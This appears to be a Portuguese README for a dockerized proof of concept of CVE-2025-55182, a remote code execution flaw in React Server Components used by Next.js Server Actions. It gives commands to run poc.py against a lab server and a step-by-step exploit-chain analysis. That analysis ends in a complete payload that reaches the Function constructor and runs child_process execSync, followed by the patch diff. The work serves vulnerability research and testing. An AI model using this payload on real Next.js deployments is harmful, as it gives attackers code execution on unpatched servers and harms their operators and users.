
Este repositório contém uma prova de conceito dockerizada para a CVE-2025-55182, uma vulnerabilidade crítica de execução remota de código nos React Server Components (RSC) que afeta aplicações Next.js que utilizam Server Actions.
A prova de conceito original e a análise da vulnerabilidade foram criadas por msanft. Este repositório estende o trabalho deles ao fornecer um ambiente de teste dockerizado para facilitar os testes e a demonstração.
requests (pip install requests)Inicie o servidor Next.js vulnerável:
docker compose up --build -d
Aguarde o servidor iniciar (verifique os logs com docker compose logs -f nextjs-server)
Execute o exploit:
# Automated script (recommended)
./exploit-docker.sh
# Or manually
ACTION_ID=$(curl -s http://localhost:3000 | grep -o '[a-f0-9]\{40\}' | head -1)
python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"
Verifique se o exploit funcionou:
docker compose exec nextjs-server ls -la /tmp/rce_test
# Create a file
python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"
# Write to a file
python3 poc.py http://localhost:3000 "$ACTION_ID" "echo 'RCE_SUCCESS' > /tmp/rce_output"
# Check current user
python3 poc.py http://localhost:3000 "$ACTION_ID" "whoami > /tmp/rce_user"
# Verify results
docker compose exec nextjs-server cat /tmp/rce_output
docker compose exec nextjs-server cat /tmp/rce_user
nextjs (UID 1001) dentro do contêinerEste repositório inclui uma configuração Docker completa para testar a vulnerabilidade:
docker-compose.yml - Configuração do Docker Composetest-server/ - Aplicação Next.js vulneráveltest-server/Dockerfile - Dockerfile de produçãotest-server/Dockerfile.dev - Dockerfile de desenvolvimento (opcional)O servidor vulnerável executa Next.js 16.0.6 com uma Server Action simples que pode ser explorada.
poc.py - Script Python de prova de conceito (original de msanft, com correções de escape de aspas)exploit-docker.sh - Script de exploit automatizado para o ambiente DockerDOCKER_SETUP.md - Documentação abrangente de configuração Docker# Stop the container
docker compose down
# Remove everything (including volumes)
docker compose down -v
A análise detalhada da vulnerabilidade, a cadeia de exploração e as informações sobre o patch da pesquisa original são fornecidas abaixo.
Esta vulnerabilidade permite RCE nas React Server Functions, como as oferecidas pelo Next.js por meio de referências inseguras a protótipos.
Não sou especialista em React ou Next.js, portanto, leve todas as informações aqui com um grão de sal. Além disso, ainda estou no processo de análise, então o que descrevo abaixo como "a vulnerabilidade" pode ser apenas uma pequena parte de toda a cadeia.
O React oferece Server Functions1, que podem ser vistas como uma espécie de RPC sobre HTTP. Elas podem ser usadas para buscar dados de pares adjacentes para garantir baixa latência, ou realizar requisições autenticadas para as quais o cliente não possui credenciais.
O React usa algo chamado React Flight Protocol2 para serialização dos valores passados às Server Functions.
O cliente passa "chunks" para o servidor, por exemplo, via form data:
files = {
"0": (None, '["$1"]'),
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
"2": (None, '{"fruitName":"cherry"}'),
}
Como mostrado, esses chunks podem ter referências entre si. O payload acima é desserializado no servidor da seguinte forma:
{ object: 'fruit', name: 'cherry' }
O formato em si é um pouco mais intrincado e permite serialização e desserialização mais complexas, mas isso fornece uma compreensão básica da vulnerabilidade real.
Até este commit3, ao percorrer chunks na resolução de referências,
como obter fruitName do chunk 2 no exemplo acima, o React
não verificava se a chave solicitada estava de fato definida no objeto.
Isso nos permitia obter o protótipo do objeto4.
Isso pode ser demonstrado com um payload como este:
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
Que é desserializado para o construtor de função5:
[Function: Function]
Quando o chunk com ID 0 não é um array, mas um objeto, podemos
definir a chave then como o construtor de função. O objeto é então
retornado pela função decodeReplyFromBusboy e aguardado pelo Next.js:
// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
Quando isso retorna um thenable, o await no chamador o invocará.
Isso é o que acontece com este payload:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
Levando a este erro:
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
O erro se parece com isso porque o V8 chama uma função aguardada (awaited)
com as funções internas resolve e reject, que, quando
convertidas com toString, são serializadas para algo como isto:
function () { [native code] }
Como podemos trivialmente obter o construtor Function, o
caminho direto é encontrar um gadget de chamada que invoque o
construtor com um valor controlado pelo usuário (ou seja, o código da
função como uma string) e depois chame a função retornada.
Existem vários lugares que podem chamar o construtor de função,
por exemplo, resolveServerReference, onde id é um objeto controlado,
e lastIndexOf pode ser sobrescrito para retornar uma string controlada
pelo usuário (por exemplo, via Array.prototype.join) e slice pode ser
sobrescrito para o construtor de função. No entanto, esse lugar não funciona
porque a segunda invocação de .slice() fornece um número como primeiro
argumento, que, pelo que sei, nunca pode ser tratado pelo construtor
de função.
Aqui, uma ideia brilhante de maple31426 entra em cena. Quando getChunk
obtém o chunk no ID 0 como referência raiz para começar a resolver a cadeia
de referências, esse mesmo chunk pode resolver para um "chunk falso"
criado especialmente.
Podemos referenciar o chunk 0 criado no chunk 1 usando a
sintaxe $@, que retorna o chunk "cru", não o seu valor resolvido:
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
Combinando isso com nossa sobrescrita de then acima, podemos criar
algo como isto:
files = {
"0": (None, '{"then": "$1:__proto__:then"}'),
"1": (None, '"$@0"'),
}
Aqui, o chunk 0 sobrescreve seu próprio .then() com o .then() de
sua própria representação de chunk cru. Em termos simples, sobrescrevemos
nosso próprio .then() com Chunk.prototype.then, que existe, pois
os Chunks são thenables:
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this);
}
// ...
Com o payload acima, Chunk.prototype.then é eventualmente chamado
com o chunk falso com ID 0.
Como mostrado acima, quando .status em nosso chunk falso é resolved_model:
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
Entramos em initializeModelChunk. Aqui, .value é analisado como JSON,
e então as referências são resolvidas no objeto retornado, usando o contexto
"externo" de nossos chunks com IDs 0 e 1:
function initializeModelChunk(chunk) {
// ...
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...
Dentro disso, agora temos uma segunda passagem de avaliação com um pouco mais de valores aos quais temos acesso devido ao contexto externo já estar resolvido.
Há um gadget de chamada no tratamento de dados blob com o prefixo $B
no flight protocol:
case "B":
return (
(obj = parseInt(value.slice(2), 16)),
response._formData.get(response._prefix + obj)
);
Usando o campo especial _response, controlamos a propriedade response
do chunk falso:
// in initializeModelChunk
value = reviveModel(chunk._response, // ...
Com isso, podemos criar um objeto com propriedades falsas ._formData
e ._prefix:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"return foo; // ",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
O .reason precisa ser adicionado para evitar falha na invocação
de toString em `initializeModelChunk:
var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;
Ao apontar ._formData para o construtor de função e ._prefix para
nosso código, obtemos um gadget de invocação para o construtor de função na
desserialização de blob:
response._formData.get(response._prefix + "0")
// becomes
Function("return foo; // 0")
Nossa função criada é então retornada por parseModelString como o
método .then() do chunk falso, que também é aguardado, pois
tudo isso ocorre em uma única cadeia de resolução de promessas. Assim,
ao retornar um thenable, nossa função criada é chamada. Isso constitui
o gadget de chamada necessário mencionado acima.
Juntando tudo isso com um payload de RCE real, obtemos algo como isto:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
# "reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
O uso de referências a chunks para recuperar propriedades de protótipo é corrigido com esta verificação:
@@ -78,7 +80,10 @@ export function preloadModule<T>(
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = parcelRequire(metadata[ID]);
- return moduleExports[metadata[NAME]];
+ if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+ return moduleExports[metadata[NAME]];
+ }
+ return (undefined: any);
}
https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/HEAD/%3Chttps:/react.dev/reference/rsc/server-functions%3E ↩
https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/HEAD/%3Chttps:/tonyalicea.dev/blog/understanding-react-server-components/%3E ↩
https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/HEAD/%3Chttps:/github.com/facebook/react/pull/35277/commits/e2fd5dc6ad973dd3f220056404d0ae0a8707998d%3E ↩
https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/HEAD/%3Chttps:/developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Advanced_JavaScript_objects/Object_prototypes%3E ↩
https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/HEAD/%3Chttps:/developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function%3E ↩